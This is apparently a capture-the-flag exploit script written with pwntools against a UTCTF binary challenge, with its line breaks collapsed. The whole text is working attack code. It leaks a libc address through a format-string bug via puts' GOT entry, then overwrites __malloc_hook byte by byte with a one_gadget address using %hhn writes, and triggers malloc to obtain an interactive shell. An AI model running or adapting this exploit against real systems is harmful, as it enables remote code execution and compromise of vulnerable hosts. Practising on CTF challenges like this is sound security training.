```from pwn import *
e = ELF('./pwnable')#p = process('./pwnable')p = remote('binary.utctf.live', 9003)libc = ELF('./libc-2.23_1.so')context.arch='amd64's = Truedef send(payload):    p.recvuntil('?\n')    p.sendline(payload)    print payload    if s:        return p.recvuntil(' is not',drop=True)
libc.address = u64(send('%7$s||||'+p64(e.got['puts'])).ljust(8,'\x00')[:6].ljust(8,'\x00'))-libc.symbols['puts']print hex(libc.address)s=Falseone_gadget = libc.address+0xf02a4
for i in range(6):    send('%{}c%8$hhn'.format(one_gadget&0xff).ljust(16,'|')+p64(libc.symbols['__malloc_hook']+i))    one_gadget >>= 8
send('%100000c')p.interactive()```